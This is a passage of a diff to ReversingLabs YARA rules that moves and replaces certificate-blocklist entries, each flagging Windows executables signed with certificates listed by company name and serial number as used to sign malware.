"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4160-L4176" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3f3f1d5c871d2b73627d4281ac5bcd08799fb47f94155e82795d97c87de35e40" + logic_hash = "2e464f4e9bfe0c9510a78552acffb241d2435ea9bf3f5f2501353d7f8f280d78" score = 75 quality = 90 tags = "INFO, FILE" @@ -20789,21 +43183,21 @@ rule REVERSINGLABS_Cert_Blocklist_D3Aee8Abb9948844A3Ac1C04Cc7E6Bdf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HOUSE 9A s.r.o" and ( pe.signatures [ i ] . serial == "00:d3:ae:e8:ab:b9:94:88:44:a3:ac:1c:04:cc:7e:6b:df" or pe.signatures [ i ] . serial == "d3:ae:e8:ab:b9:94:88:44:a3:ac:1c:04:cc:7e:6b:df" ) and 1640822400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KBK, OOO" and pe.signatures [ i ] . serial == "4b:47:d1:8d:be:a5:7a:bd:15:63:dd:f8:9f:87:a6:c2" and 1590485607 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_734819463C1195Bd6E135Ce4D5Bf49Bc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Be41E2C7Bb2493044B9241Abb732599D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f7dd21fa-1501-50b2-bd9c-c33cfd932a6b" + id = "81e5a8f3-0893-534a-ab4f-5c2c47078b40" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10200-L10216" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4178-L4196" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a63c05cca23b61ba6eabda2b60c617b966a2669fd3a0da30354792e5c1ae2140" + logic_hash = "eb5d94b80fd030d14dc26878895c61761825f3c77209ca0280e88dcd1800f9c2" score = 75 quality = 90 tags = "INFO, FILE" @@ -20813,21 +43207,21 @@ rule REVERSINGLABS_Cert_Blocklist_734819463C1195Bd6E135Ce4D5Bf49Bc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "videoalarm s. r. o." and pe.signatures [ i ] . serial == "73:48:19:46:3c:11:95:bd:6e:13:5c:e4:d5:bf:49:bc" and 1637884800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Company Babylon" and ( pe.signatures [ i ] . serial == "00:be:41:e2:c7:bb:24:93:04:4b:92:41:ab:b7:32:59:9d" or pe.signatures [ i ] . serial == "be:41:e2:c7:bb:24:93:04:4b:92:41:ab:b7:32:59:9d" ) and 1589146251 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Db95B22362D46A73C39E0Ac924883C5B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_15C5Af15Afecf1C900Cbab0Ca9165629 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "527b7963-340e-5d8f-b7e1-1269c0073ec9" + id = "de734943-e735-5895-b76e-5f8588a77540" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10218-L10236" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4198-L4214" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "895983bcb7f3a0c5ce54504f4a2ff8d652137434b8951380d756de6556d0844e" + logic_hash = "5c54f32dbac271b2b60ec40bd052b5566a512cd2bcb4255057b21262806882d2" score = 75 quality = 90 tags = "INFO, FILE" @@ -20837,21 +43231,21 @@ rule REVERSINGLABS_Cert_Blocklist_Db95B22362D46A73C39E0Ac924883C5B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPSLTD PLYMOUTH LTD" and ( pe.signatures [ i ] . serial == "00:db:95:b2:23:62:d4:6a:73:c3:9e:0a:c9:24:88:3c:5b" or pe.signatures [ i ] . serial == "db:95:b2:23:62:d4:6a:73:c3:9e:0a:c9:24:88:3c:5b" ) and 1621296000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kompaniya Auttek" and pe.signatures [ i ] . serial == "15:c5:af:15:af:ec:f1:c9:00:cb:ab:0c:a9:16:56:29" and 1586091840 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0C48732873Ac8Ccebaf8F0E1E8329Cec : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_476De2F108D20B43Ba3Bae6F331Af8F1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b531341a-e8ac-5b56-a202-3c072f5d2ce0" + id = "5a741e6d-9b58-5536-8987-b3c36cdfcd5f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10238-L10254" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4216-L4232" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7c9476a4119e013c8bb3c14b607090d592feaa5f2fc0f78d810555681d4a3733" + logic_hash = "e5edf3e15b2139ba6cd85f2cfea63b53f7fa36a3fd7224a4a9ccbe5de6eb6f1d" score = 75 quality = 90 tags = "INFO, FILE" @@ -20861,21 +43255,21 @@ rule REVERSINGLABS_Cert_Blocklist_0C48732873Ac8Ccebaf8F0E1E8329Cec : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hermetica Digital Ltd" and pe.signatures [ i ] . serial == "0c:48:73:28:73:ac:8c:ce:ba:f8:f0:e1:e8:32:9c:ec" and 1618272000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digiwill Limited" and pe.signatures [ i ] . serial == "47:6d:e2:f1:08:d2:0b:43:ba:3b:ae:6f:33:1a:f8:f1" and 1588135722 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C51F4Cf4D82Bc920421E1Ad93E39D490 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_08Ddcc67F8Cad6929607E4Cda29B3503 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "727aba82-c908-51a6-9f1f-7fd8df424d8c" + id = "3563547f-556b-56e3-ad25-cfec0294fe93" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10256-L10274" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4234-L4250" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cef717e7fe3eb0fb958d405caaf98fa51b22b150ccbf1286d3b4634e9df81ade" + logic_hash = "4cd975312ca825b51f34f5c89184a56526877436224c1e7407d715b28ebfd9d5" score = 75 quality = 90 tags = "INFO, FILE" @@ -20885,21 +43279,21 @@ rule REVERSINGLABS_Cert_Blocklist_C51F4Cf4D82Bc920421E1Ad93E39D490 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CUT AHEAD LTD" and ( pe.signatures [ i ] . serial == "00:c5:1f:4c:f4:d8:2b:c9:20:42:1e:1a:d9:3e:39:d4:90" or pe.signatures [ i ] . serial == "c5:1f:4c:f4:d8:2b:c9:20:42:1e:1a:d9:3e:39:d4:90" ) and 1644624000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FAN-CHAI, TOV" and pe.signatures [ i ] . serial == "08:dd:cc:67:f8:ca:d6:92:96:07:e4:cd:a2:9b:35:03" and 1564310268 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C96086F1894E6420D2B4Bdeea834C4D7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_052242Ace583Adf2A3B96Adcb04D0812 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1268461b-676c-59b8-80c1-c54dbe1a265f" + id = "22104929-e2c5-565c-975c-826f666e78e2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10276-L10294" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4252-L4268" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "949bbd41ad4c83a05c1f004786cd296e2af80a3a559955ec90a4675cdfa04258" + logic_hash = "e1593a2bf375912e411d5f19d9e232c6b87f0897bb6f1c0b0539380b34b05af5" score = 75 quality = 90 tags = "INFO, FILE" @@ -20909,21 +43303,21 @@ rule REVERSINGLABS_Cert_Blocklist_C96086F1894E6420D2B4Bdeea834C4D7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE FAITH SP Z O O" and ( pe.signatures [ i ] . serial == "00:c9:60:86:f1:89:4e:64:20:d2:b4:bd:ee:a8:34:c4:d7" or pe.signatures [ i ] . serial == "c9:60:86:f1:89:4e:64:20:d2:b4:bd:ee:a8:34:c4:d7" ) and 1644969600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FAN-CHAI, TOV" and pe.signatures [ i ] . serial == "05:22:42:ac:e5:83:ad:f2:a3:b9:6a:dc:b0:4d:08:12" and 1573603200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_06Fa27A121Cc82230C3013Ee634B6C62 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Bebef5C533Ce92Efc402Fab8605C43Ec : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4520e544-7a41-5dde-b90b-46cf3349297c" + id = "59d3dd01-47bc-59ee-8fe7-fd5b1af8f9f4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10296-L10312" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4270-L4288" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "23ac7a97e7632536ed27cf9078b6bc1a734f1e991a20a228734b45117582f367" + logic_hash = "daa57ad622799467c60693060e6c9eea18bdf0bb26f178e8b03453aab486ccf4" score = 75 quality = 90 tags = "INFO, FILE" @@ -20933,21 +43327,21 @@ rule REVERSINGLABS_Cert_Blocklist_06Fa27A121Cc82230C3013Ee634B6C62 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Zimmi Consulting Inc" and pe.signatures [ i ] . serial == "06:fa:27:a1:21:cc:82:23:0c:30:13:ee:63:4b:6c:62" and 1645142401 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO VEKTOR" and ( pe.signatures [ i ] . serial == "00:be:be:f5:c5:33:ce:92:ef:c4:02:fa:b8:60:5c:43:ec" or pe.signatures [ i ] . serial == "be:be:f5:c5:33:ce:92:ef:c4:02:fa:b8:60:5c:43:ec" ) and 1587513600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9Dd3B2F7957Ba99F4B04Fcdbe03B7Aac : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1D3F39F481Fe067F8A9289Bb49E05A04 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "25229478-e891-5e0a-b738-6ca1fdd0012c" + id = "0c4b6efb-c793-5505-bcd6-f62266c984c6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10314-L10332" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4290-L4306" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d4f1b75dddd47fe8a19bd8e794b4930bdcaf54d63db57422db0a9b631d4f488d" + logic_hash = "2fdf8b59d302d2ce81a1e9a5715138adc1ec45bd86871c4c2e46412407e329f9" score = 75 quality = 90 tags = "INFO, FILE" @@ -20957,21 +43351,21 @@ rule REVERSINGLABS_Cert_Blocklist_9Dd3B2F7957Ba99F4B04Fcdbe03B7Aac : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DOD MEDIA LIMITED" and ( pe.signatures [ i ] . serial == "00:9d:d3:b2:f7:95:7b:a9:9f:4b:04:fc:db:e0:3b:7a:ac" or pe.signatures [ i ] . serial == "9d:d3:b2:f7:95:7b:a9:9f:4b:04:fc:db:e0:3b:7a:ac" ) and 1646438400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LOGIKA, OOO" and pe.signatures [ i ] . serial == "1d:3f:39:f4:81:fe:06:7f:8a:92:89:bb:49:e0:5a:04" and 1592553220 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_061051Ff2A8Afab10347A6F1Ff08Ecb6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Be35D025E65Cc7A4Ee01F72 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4e23648f-9770-53ad-9c62-6e6239a02aa7" + id = "533bcad1-b589-5a05-8f35-32fcb79c7f68" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10334-L10350" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4308-L4324" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "db3ac3ee326c60e9abc94a2fb53d801637f044e7ab72d69e53958799e48747b7" + logic_hash = "dad7ab834a67d36c0b63e45922aea566dc0aaf922be2b74161616b3caea83fdc" score = 75 quality = 90 tags = "INFO, FILE" @@ -20981,21 +43375,21 @@ rule REVERSINGLABS_Cert_Blocklist_061051Ff2A8Afab10347A6F1Ff08Ecb6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TACHOPARTS SP Z O O" and pe.signatures [ i ] . serial == "06:10:51:ff:2a:8a:fa:b1:03:47:a6:f1:ff:08:ec:b6" and 1606435200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Logika OOO" and pe.signatures [ i ] . serial == "7b:e3:5d:02:5e:65:cc:7a:4e:e0:1f:72" and 1594976445 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Eda2429083Bfafb04E6E7Bdda1B08834 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_351Fe2Efdc0Ac56A0C822Cf8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0f5852c4-7866-5e12-97e9-c73972def6c5" + id = "ac6b7c6d-781b-5c91-80fe-b822ee00ea7f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10352-L10370" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4326-L4342" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4f7d5c6929fe364c8868fddb28dd7bbf7cdcf3896d57836466af1a538190d11c" + logic_hash = "46b87c3531e01ba150f056ec3270564426363ef8c58256eeedbcab247c7625e4" score = 75 quality = 90 tags = "INFO, FILE" @@ -21005,21 +43399,21 @@ rule REVERSINGLABS_Cert_Blocklist_Eda2429083Bfafb04E6E7Bdda1B08834 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OWLNET LIMITED" and ( pe.signatures [ i ] . serial == "00:ed:a2:42:90:83:bf:af:b0:4e:6e:7b:dd:a1:b0:88:34" or pe.signatures [ i ] . serial == "ed:a2:42:90:83:bf:af:b0:4e:6e:7b:dd:a1:b0:88:34" ) and 1625011200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Logika OOO" and pe.signatures [ i ] . serial == "35:1f:e2:ef:dc:0a:c5:6a:0c:82:2c:f8" and 1594976475 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A590154B5980E566314122987Dea548 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9Cfbb4C69008821Aaacecde97Ee149Ab : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fd2a2165-494b-5655-a322-73f033643c74" + id = "a8ba633b-fbbe-51ca-9f67-fb91ce9ac2f7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10372-L10388" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4344-L4362" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d5fdf2bc61fadf3e73bcf1695c48ebc465e614cdd2310f9e5f40648d9615afc4" + logic_hash = "d74b13eeb5d0a57c5dd3257480230c504a68a8422e77a46bb2e101abb2c7f282" score = 75 quality = 90 tags = "INFO, FILE" @@ -21029,21 +43423,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A590154B5980E566314122987Dea548 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Maya logistika d.o.o." and pe.signatures [ i ] . serial == "0a:59:01:54:b5:98:0e:56:63:14:12:29:87:de:a5:48" and 1636416000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kivaliz Prest s.r.l." and ( pe.signatures [ i ] . serial == "00:9c:fb:b4:c6:90:08:82:1a:aa:ce:cd:e9:7e:e1:49:ab" or pe.signatures [ i ] . serial == "9c:fb:b4:c6:90:08:82:1a:aa:ce:cd:e9:7e:e1:49:ab" ) and 1592363914 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_69A72F5591Ad78A0825Fbb9402Ab9543 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C04F5D17Af872Cb2C37E3367Fe761D0D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "938cdd31-433d-5df7-b00e-54a7e440810b" + id = "d7ef2bdf-afba-5254-bef2-78f4b6d5ecea" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10390-L10406" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4364-L4382" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "72ca07b7722f9506c5c42b5e58c5ce9b3a7d607164a5f265015769f2831cd588" + logic_hash = "4a4d60aa3722a710fe23d5e11c55a28bfe721bb4e797b041d58f62a994487799" score = 75 quality = 90 tags = "INFO, FILE" @@ -21053,21 +43447,21 @@ rule REVERSINGLABS_Cert_Blocklist_69A72F5591Ad78A0825Fbb9402Ab9543 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PUSH BANK LIMITED" and pe.signatures [ i ] . serial == "69:a7:2f:55:91:ad:78:a0:82:5f:bb:94:02:ab:95:43" and 1581811200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DES SP Z O O" and ( pe.signatures [ i ] . serial == "00:c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d" or pe.signatures [ i ] . serial == "c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d" ) and 1594590024 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0883Db137021B51F3A2A08A76A4Bc066 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_02C5351936Abe405Ac760228A40387E8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "792111be-7c8a-53f5-9ec3-e1f25f083666" + id = "6a1e5115-ac72-57a3-8418-7c81f38f76af" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10408-L10424" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4384-L4400" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5e3c8654169830790665992f5d7669d0ca6c1c8048580b3ae70331ad2a763a6c" + logic_hash = "5a990f8d1a3f467cdafa0f625bc162745d9201e15ce43fdc93cd6b1730572e89" score = 75 quality = 90 tags = "INFO, FILE" @@ -21077,21 +43471,21 @@ rule REVERSINGLABS_Cert_Blocklist_0883Db137021B51F3A2A08A76A4Bc066 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Divertida Creative Limited" and pe.signatures [ i ] . serial == "08:83:db:13:70:21:b5:1f:3a:2a:08:a7:6a:4b:c0:66" and 1627430400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RESURS-RM OOO" and pe.signatures [ i ] . serial == "02:c5:35:19:36:ab:e4:05:ac:76:02:28:a4:03:87:e8" and 1589932801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2B921Aaaba777B5A99507196C6F1C46C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Ecd829Adcc55D9D6Afe30Dc371Ebda6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0cb5be9e-a0b7-5785-87f3-ad097d4ab479" + id = "db9f022b-f650-5d40-ae84-4df92b0f3a96" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10426-L10442" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4402-L4420" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a00eb9837f7700d83862dff2077d85c68c24621d7aacf857b42587dc37976465" + logic_hash = "02955f4df7deccab52cdd82fd04d5012db7440f85c87d750fa9f81ff85e2dab0" score = 75 quality = 90 tags = "INFO, FILE" @@ -21101,21 +43495,21 @@ rule REVERSINGLABS_Cert_Blocklist_2B921Aaaba777B5A99507196C6F1C46C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Python Software Foundation" and pe.signatures [ i ] . serial == "2b:92:1a:aa:ba:77:7b:5a:99:50:71:96:c6:f1:c4:6c" and 1648425600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Komp.IT" and ( pe.signatures [ i ] . serial == "00:1e:cd:82:9a:dc:c5:5d:9d:6a:fe:30:dc:37:1e:bd:a6" or pe.signatures [ i ] . serial == "1e:cd:82:9a:dc:c5:5d:9d:6a:fe:30:dc:37:1e:bd:a6" ) and 1588723200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0332D5C942869Bdcabf5A8266197Cd14 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B0167124Ca59149E64D292Eb4B142014 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b1c650bb-b53f-5cca-8cc2-4d3498285d31" + id = "384ce73e-3ad5-54d9-a140-cb242f9a91e6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10444-L10460" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4422-L4440" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "726ac44dd8109fcd0a9120f6c0673b8ecf7d5b3a4bb81976f48402e21502201a" + logic_hash = 